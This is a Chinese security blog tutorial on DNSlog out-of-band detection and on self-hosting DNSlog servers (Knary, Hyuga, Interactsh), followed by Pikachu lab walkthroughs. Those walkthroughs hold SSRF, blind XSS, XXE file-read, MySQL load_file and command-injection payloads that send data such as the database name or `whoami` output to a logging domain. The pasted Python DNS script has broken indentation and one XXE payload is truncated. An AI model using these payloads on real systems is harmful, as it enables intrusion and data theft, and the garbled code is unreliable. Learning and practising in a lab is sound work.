【安全工具】DNSlog工具原理搭建及使用

admin 2024年6月27日19:06:42评论7 views字数 12125阅读40分25秒阅读模式

【安全工具】DNSlog工具原理搭建及使用

【安全工具】DNSlog工具原理搭建及使用

DNSlog是什么
PART.01

DNS就是将域名解析为ip,用户在浏览器上输入一个域名A.com,就要靠DNS服务器将A.com解析到它的真实ip127.0.0.1,这样就可以访问127.0.0.1服务器上的相应服务。 那么DNSlog是什么。DNSlog就是存储在DNS服务器上的域名信息,它记录着用户对域名www.baidu.com等的访问信息,类似日志文件。

DNSlog回显原理
PART.02

域名分级与域名解析过程(DNS)

因特网采用层次树状结构命名方法。域是名字空间中一个可被管理的划分(按机构组织划分),域可被划分为子域,子域可再被划分,即形成了顶级域名、二级域名、三级域名等。从右向左为顶级域名、二级域名、三级域名等,用点隔开。如:

tieba.baidu.com

它由三个标号组成, com即为顶级域名,baidu为二级域名,tieba即为三级域名。且域名不分区大小写。

【安全工具】DNSlog工具原理搭建及使用

比如说,我注册了一个为luomiweixiong.com的域名,我将 它的a记录泛解析到139.x.x.x上,这样就实现了无论我记录值填什么他都有解析,并且都指向139.x.x.x,当我向dns服务器发起test.luomiweixiong.com的解析请求时,DNSlog中会记录下他给test.luomiweixiong.com解析,解析值为139.x.x.x.

免费的平台
PART.03
1http://www.dnslog.cn
2http://admin.dnslog.link
3http://ceye.io

http://www.dnslog.cn使用方法

(1)Get SubDomain的意思是获取子域名,这里点击完就给我们一个三级域名。复制完后,打开新网页并粘贴在url上,访问

【安全工具】DNSlog工具原理搭建及使用

(2)在本机实验演示

ping命令的时候会用到DNS解析

【安全工具】DNSlog工具原理搭建及使用

ping命令的时候会用到DNS解析

【安全工具】DNSlog工具原理搭建及使用

解析的日志会把%USERNAME%的值给带出来,因为系统在ping命令之前会将%USERNAME%的值解析出来,然后再和a.com拼接起来,最后ping命令执行将XF.a.com一起发给DNS服务器请求解析域名对应的ip地址,这个过程被记录下来就是DNSlog。

原理上只要能进行DNS请求的函数都可能存在DNSlog注入。

dns缓存可能造成记录不刷新,此时更换新的域名即可。

其它平台同理。

DNSlog使用的地方
PART.04

目标不让信息显示出来,如果能发送请求,那么就可以尝试咱这个办法——用DNSlog来获取回显

(1)SQL注入中的盲注

(2)XSS盲打

(3)无回显的命令执行

(4)无回显的SSRF

(5)无回显的XXE(Blind XXE)

搭建自己的dnslog平台
PART.05

前提:一台公网ip的VPS和一个域名

域名利用freenom网站或eu.org或pp.ua注册即可

利用Cloudflare进行解析

因为Freenom本地的解析在国内不够好用,咱们就换个。

注册cloudflare账号

配置你的域名

配置NameServer,指向CloudFlare。

xxx.ns.cloudflare.com

xxx.ns.cloudflare.com

【安全工具】DNSlog工具原理搭建及使用

配置NS记录

分别申请两个DNS记录,NS记录代表子域名log.where.cf的DNS服务器为ns.where,cf

【安全工具】DNSlog工具原理搭建及使用

测试是否生效

网上python2的dns脚本

 1#/usr/bin/python2
2# -*- coding:utf-8 -*-
3from twisted.internet import reactor, defer
4from twisted.names import client, dns, error, server
5record={}
6class DynamicResolver(object):
7    def _doDynamicResponse(self, query):
8        name = "query.name.name" #修改域名 
9        # 返回指定应答IP
10        ip = "x.x.x.x"
11        print(name+" ===> "+ip)
12        answer = dns.RRHeader(
13        name=name,
14        type=dns.A,
15        cls=dns.IN,
16        ttl=0# 这里设置DNS TTL为 0
17        payload=dns.Record_A(address=b'%s'%ip,ttl=0)
18    )
19    answers = [answer]
20    authority = []
21    additional = []
22    return answers, authority, additional
23def query(self, query, timeout=None):
24    return defer.succeed(self._doDynamicResponse(query))
25def main():
26    factory = server.DNSServerFactory(
27    clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')]
28)
29protocol = dns.DNSDatagramProtocol(controller=factory)
30reactor.listenUDP(53, protocol)
31reactor.run()
32if __name__ == '__main__':
33raise SystemExit(main())

python2和pip在ubuntu中安装

1add-apt-repository universe
2apt update 
3apt install python2
4curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
5python2 get-pip.py

【安全工具】DNSlog工具原理搭建及使用

【安全工具】DNSlog工具原理搭建及使用

注:国内域名可能有需要备案问题

如果是云服务器,到防火墙中开放自己的53端口

临时解决:

53端口被占用,lsof -i:53查看pid,kill -9 pid,ubuntu关闭systemctl stop systemd-resolved

长期生效:

vim /etc/systemd/resolved.conf,如下图配置,关闭监听。

【安全工具】DNSlog工具原理搭建及使用

接着重启服务, systemctl restart systemd-resolved

vim /etc/resolv.conf

【安全工具】DNSlog工具原理搭建及使用

部署DNS服务

将dnslog的liunx版本从github下载到vps中

https://github.com/yumusb/DNSLog-Platform-Golang

https://github.com/lanyi1998/DNSlog-GO/releases/

https://github.com/chennqqi/godnslog

ubuntu 完全干净的卸载docker

 1#docker --version
2apt-get autoremove docker docker-ce docker-engine  docker.io  containerd runc
3#删除docker其他没有没有卸载
4dpkg -l | grep docker
5dpkg -l |grep ^rc|awk '{print $2}' |sudo xargs dpkg -P
6#卸载没有删除的docker相关插件(结合自己电脑的实际情况)
7apt-get autoremove docker-ce-*
8#删除docker的相关配置&目录
9rm -rf /etc/systemd/system/docker.service.d
10rm -rf /var/lib/docker
11##删除docker的相关配置&目录
12docker --version

DNSLog-Platform-Golang

下载

1git clone https://github.com/yumusb/DNSLog-Platform-Golang

编辑配置文件

1cd DNSLog-Platform-Golang
2 vi config.tomal
 1[front]
2template = "index.html"
3[back]
4listenhost = "0.0.0.0"
5listenport = 11111
6domains = [ "log.xxx.xx"]
7cname = ""
8[basicauth]
9check = false
10username = "yumu"
11password = "yumusb"

前端模板文件

后端监听的主机、端口、域名、与CNAME响应

HTTP BASIC AUTH的是否打开(check=true)与密码配置

go环境配置

1go env -w GO111MODULE=on
2go env -w

GOPROXY=https://goproxy.cn,direct #可选,国内机器不能上github则需要执行此处以设置{代}{理}

go run main.go或者nohup go run main.go &

Knary

二进制文件部署:

1wget https://ghproxy.com/https://github.com/sudosammy/knary/releases/download/v3.3.1/knary-3.3.1-linux-amd64
2chmod +x knary-3.3.1-linux-amd64
3mv knary-3.3.1-linux-amd64 knary
4./knary

如果二进制不安全,可以考虑Docker 快速搭建:

1export GIT_SSL_NO_VERIFY=0
2git clone http://ghproxy.com/https://github.com/sudosammy/knary.git
3# 编辑docker-compose.yaml的信息
4vim docker-compose.yaml

环境变量信息有两种配置方式,一种是利用当目前的.env文件,一种是直接配置环境变量environment,也可以混合来用,我这里先配置下CANARY_DOMAIN=CANARY_DOMAIN=log.xxxx.xxx

 1version: "3.9"
2services:
3  knary:
4   container_name: knary
5    hostname: knary
6    restart: always
7    env_file:
8  - .env # as commented below, you can also use the `environment` key to specify variables. This will overwrite anything in `env_file`
9# environment:
10#   - DNS=true
11#   - HTTP=true
12#   - BIND_ADDR=127.0.0.1
13   - CANARY_DOMAIN=log.log4j2.ga
14# (etc. etc.)
15build: .
16ports:
17  - "80:80"
18  - "443:443"
19  - "53:53/udp"
20volumes:
21  - ./certs:/certs/

编辑一份环境变量:

 1vim .env
2# 内容
3# RENAME ME TO .env
4DNS=true
5HTTP=true
6BIND_ADDR=0.0.0.0
7CANARY_DOMAIN=log.log4j.ga
8[email protected]
9EXT_IP=1x1.xxx.1xx.x3
10DEBUG=true
11LOG_FILE=knary.log

有两种方法,快速配置HTTPS证书:

1)自签名证书

当前目录创建一个cert文件夹

1mkdir certs

openssl创建证书

1sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout ./certs/selfsigned.key -out ./certs/knary.crt

信息可以随意填

2)Let’s Encrypt 免费https,Kanry自带,只需要配置好邮箱即可,推荐使用这种!

docker-compose启动

1# 卸载原先docker
2apt-get remove -y remove docker
3# 安装最新docker
4curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun
5# 安装docker-compose
6sudo curl -L 
7"https://ghproxy.com/https://github.com/docker/compose/releases/download/v2.2.2/docker-compose-$(uname -s)-$(uname -m)" -o /usr/bin/docker-compose
8sudo chmod +x /usr/bin/docker-compose

Ubuntu构建过程可能会报错,修改/etc/resolv.conf的值为这个即可

1nameserver 8.8.8.8
2nameserver 114.114.114.114
3nameserver 127.0.0.53
4nameserver 223.5.5.5
5options edns0

如果出现不生效可以参考:

https://blog.csdn.net/booklijian/article/details/116491288?spm=1001.2101.3001.6661.1&utm_medium=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.no_search_link&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.no_search_link&utm_relevant_index=1

为了兼容国内VPS还需要修改Dockerfile添加Golang代理,要不然go get会失败:

1RUN export GOPROXY=https://goproxy.io && go get 

Hyuga

git下载

1git clone https://github.com/Buzz2d0/Hyuga.git
2cd Hyuga

修改config.xml文件

main中填写自己的域名(比如是log.xxx.xx)

修改对应的ns为自己的ns域名(比如ns.xxx.xx)

Docker快速组建:

1docker-compose build
2docker-compose up -d

成功后如官网demo所示

【安全工具】DNSlog工具原理搭建及使用

Interactsh

手工搭建

安装Golang 1.16.1环境:

 1apt-get update
2apt-get -y upgrade
3apt install  -y gcc
4mkdir tmp
5cd /tmp
6wget https://dl.google.com/go/go1.16.1.linux-amd64.tar.gz
7tar -xvf go1.16.1.linux-amd64.tar.gz 
8mv go /usr/local/
9echo "export GOROOT=/usr/local/go" >>  ~/.profile
10echo "export GOPATH=$HOME/go" >>  ~/.profile
11echo "export PATH=$GOPATH/bin:$GOROOT/bin:$PATH" >> ~/.profile
12source ~/.profile

安装Interachsh Server

1go get -v github.com/projectdiscovery/interactsh/cmd/interactsh-server@latest

docker搭建

1docker run projectdiscovery/interactsh-server:latest -domain log.log4j.ga
SSRF盲打
PART.06

靶场实例练习

Pikachu 靶场一个 SSRF 漏洞 实例:

【安全工具】DNSlog工具原理搭建及使用

点击链接发现发现它通过一个 url 参数传递了一个 URL 给后台并读取文件(可能靶场环境问题此处没成功读取到诗歌文件url=http://127.0.0.1/lab/vul/ssrf/ssrf_info/info1.php):

【安全工具】DNSlog工具原理搭建及使用

修改 url 参数为如下,可借助 SSRF 漏洞进行内网端口探测:

url=http://127.0.0.1:3306

【安全工具】DNSlog工具原理搭建及使用

修改 url 参数为如下,可借助 SSRF 漏洞读取本地文件:

url=file:///C:/Windows/system32/drivers/etc/hosts

【安全工具】DNSlog工具原理搭建及使用

在 DNSlog 平台申请一个子域名,然后访问 ?url=http://8b7b7d7c.log.xxx.cf,如下:

【安全工具】DNSlog工具原理搭建及使用

【安全工具】DNSlog工具原理搭建及使用

XSS的盲打
PART.07

在实战中能真正能构成致命性损伤的 XSS 类型就是储存型 XSS,一般是从前台打到后台,一般反射型 XSS 我们常见做法一般是给自己弹个 alert 就可以知道这个语句有没有执行,有没有被屏蔽。但是前台打到后台的储存型盲打 XSS 我们肯定是不可能通过 alert 去验证漏洞是否存在。弹 alert 必然是要惊动管理员,况且就算在后台弹窗了,我们也看不到。

,比如说这有个留言框,我们输入个 Payload 如下:

好的管理员!<script src=http://testxss.a.com></script>

因为 script 标签的 src 是在加载后就自动去请求的,并且 http 协议仍然会用到 dns 协议,当管理员从留言板看到这条消息的时候浏览器就会自动去请求 http://testxss.a.com,这样子的话,就会在 DNSlog 里留下如下记录:

testxss.a.com 10.0.0.0

当我们在 dnslog 里看到了这条记录的时候,就说明盲打 XSS 存在了。

靶场 XSS 盲打实例

以 Pikachu 靶场的一个 XSS 漏洞环境为例:

【安全工具】DNSlog工具原理搭建及使用

插入 <script>alert(1)</script>即可触发弹窗:

【安全工具】DNSlog工具原理搭建及使用

接下来插入<script src="http://8b7b7d7c.log.xxx.cf"></script>:

【安全工具】DNSlog工具原理搭建及使用

可以在 DNSlog 平台看到对应的请求记录:

【安全工具】DNSlog工具原理搭建及使用

此处的 Payload 使用<img src="http://8b7b7d7c.log.xxx.cf">也可以

XXE的盲打
PART.08

对于没有回显的 XXE 漏洞,同样可以使用 DNSlog 平台进行漏洞检测。

XXE 盲打靶场实例

以 Pikachu 靶场的 XXE 漏洞环境为例:

【安全工具】DNSlog工具原理搭建及使用

先构建常规测试 Payload:

1<?xml version = "1.0"?>
2<!DOCTYPE note [
3<!ENTITY hacker "Tr0e">
4]>

5<name>&hacker;</name>

【安全工具】DNSlog工具原理搭建及使用

借助 XXE 漏洞构造读取本地文件的 Payload:

1<?xml version="1.0"?> 
2<!DOCTYPE foo [    
3<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]>
 
4<foo>&xxe;</foo>

【安全工具】DNSlog工具原理搭建及使用

假设这是一个 XXE 无回显的漏洞,或者说不清楚服务器是什么操作系统、不清楚文件组成,可以构造如下 DNSlog 相关的 Payload:

]>

&xxe;

【安全工具】DNSlog工具原理搭建及使用

SQL的盲注
PART.09

不论是布尔型盲注还是时间型盲注,都需要频繁的跑请求才能够获取数据库中的值,在现代 WAF 的防护下,很可能导致 IP 被 ban。我们可以结合 DNSlog 完美快速的将数据取出。如遇到 MySql 的盲注时,可以利用内置函数 load_file() 来完成 DNSlog,load_file()不仅能够加载本地文件,同时也能对诸如 www.test.com 这样的URL发起请求。

SQL盲注靶场实例

下面同样以 Pikachu 靶场的 SQL 盲注(布尔型)漏洞环境为例:

【安全工具】DNSlog工具原理搭建及使用

输入kobe’ and 1=1#可成功查询:

【安全工具】DNSlog工具原理搭建及使用

输入kobe’ and 1=2#查询失败:

【安全工具】DNSlog工具原理搭建及使用

输入利用 DNSlog 回显数据库名称的 Payload:

?id=1' and load_file(concat('\\',(select database()),'.stzi44.dnslog.cn\abc'))--+

注:dnslog注入只能用于windows,因为load_file这个函数的主要目的还是读取本地的文件,所以我们在拼接的时候需要在前面加上两个//,这两个斜杠的目的是为了使用load_file可以查询的unc路径。但是Linux服务器没有unc路径,也就无法使用dnslog注入

RCE的盲打
PART.10

【安全工具】DNSlog工具原理搭建及使用

操作系统盲注方式

windows%variable%

linux反引号 variable 反引号

windows Payload:

%OS%.8b7b7d7c.log.xxx.cf

【安全工具】DNSlog工具原理搭建及使用

windows常用变量

 1//变量                 类型       描述
2//%ALLUSERSPROFILE%   本地       返回“所有用户”配置文件的位置。
3//%APPDATA%           本地       返回默认情况下应用程序存储数据的位置。
4//%CD%                                                        本地       返回当前目录字符串。
5//%CMDCMDLINE%        本地       返回用来启动当前的 Cmd.exe 的准确命令行。
6//%CMDEXTVERSION%     系统       返回当前的“命令处理程序扩展”的版本号。
7//%COMPUTERNAME%      系统       返回计算机的名称。
8//%COMSPEC%           系统       返回命令行解释器可执行程序的准确路径。
9//%DATE%              系统       返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。
10//%ERRORLEVEL%        系统       返回上一条命令的错误代码。通常用非零值表示错误。
11//%HOMEDRIVE%         系统       返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
12//%HOMEPATH%          系统       返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
13//%HOMESHARE%         系统       返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
14//%LOGONSERVER%       本地       返回验证当前登录会话的域控制器的名称。
15//%NUMBER_OF_PROCESSORS%         系统      指定安装在计算机上的处理器的数目。
16//%OS%                           系统      返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。
17//%PATH%                         系统       指定可执行文件的搜索路径。
18//%PATHEXT%                      系统       返回操作系统认为可执行的文件扩展名的列表。
19//%PROCESSOR_ARCHITECTURE%       系统       返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。
20//%PROCESSOR_IDENTFIER%          系统       返回处理器说明。
21//%PROCESSOR_LEVEL%              系统       返回计算机上安装的处理器的型号。
22//%PROCESSOR_REVISION%           系统       返回处理器的版本号。
23//%PROMPT%                       本地       返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。
24//%RANDOM%                       系统       返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。
25//%SYSTEMDRIVE%                  系统       返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。
26//%SYSTEMROOT%                   系统       返回 Windows server operating system 根目录的位置。
27//%TEMP%和%TMP%                  系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。
28//%TIME%                         系统       返回当前时间。使用与time /t命令相同的格式。由Cmd.exe生成。有关time命令的详细信息,请参阅 Time。
29//%USERDOMAIN%                   本地       返回包含用户帐户的域的名称。
30//%USERNAME%                     本地       返回当前登录的用户的名称。
31//%USERPROFILE%                  本地       返回当前用户的配置文件的位置。
32//%WINDIR%                       系统       返回操作系统目录的位置。

如果是 Linux 环境,则 Payload 对应的应该为:

1ping `whoami`.8b7b7d7c.log.xxx.cf

参考:

https://bbs.ichunqiu.com/thread-61037-1-1.html

https://www.jianshu.com/p/0c1c23d80098

https://cloud.tencent.com/developer/news/221937

https://github.com/ADOOO/DnslogSqlinj

https://idc.wanyunshuju.com/aqst/1889.html

https://www.cnblogs.com/Chorder/p/9087386.html

https://www.jianshu.com/p/721b49c95d98

https://forum.butian.net/share/1055

https://blog.csdn.net/qq_43416157/article/details/116788106

https://cloud.tencent.com/developer/article/1710514

https://blog.csdn.net/booklijian/article/details/116491288?spm=1001.2101.3001.6661.1&utm_medium=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.no_search_link&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.no_search_link&utm_relevant_index=1

https://blog.csdn.net/weixin_39190897/article/details/117197126

es !

END
【安全工具】DNSlog工具原理搭建及使用

文章作者: leaves

文章链接: http://greenleavesl.github.io/2022/01/06/DNSlog%E5%B7%A5%E5%85%B7%E5%8E%9F%E7%90%86%E6%90%AD%E5%BB%BA%E5%8F%8A%E4%BD%BF%E7%94%A8/

版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 leav

版权声明:著作权归作者所有。如有侵权请联系删除

原文始发于微信公众号(开源聚合网络空间安全研究院):【安全工具】DNSlog工具原理搭建及使用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月27日19:06:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【安全工具】DNSlog工具原理搭建及使用https://cn-sec.com/archives/2892620.html

发表评论

匿名网友 填写信息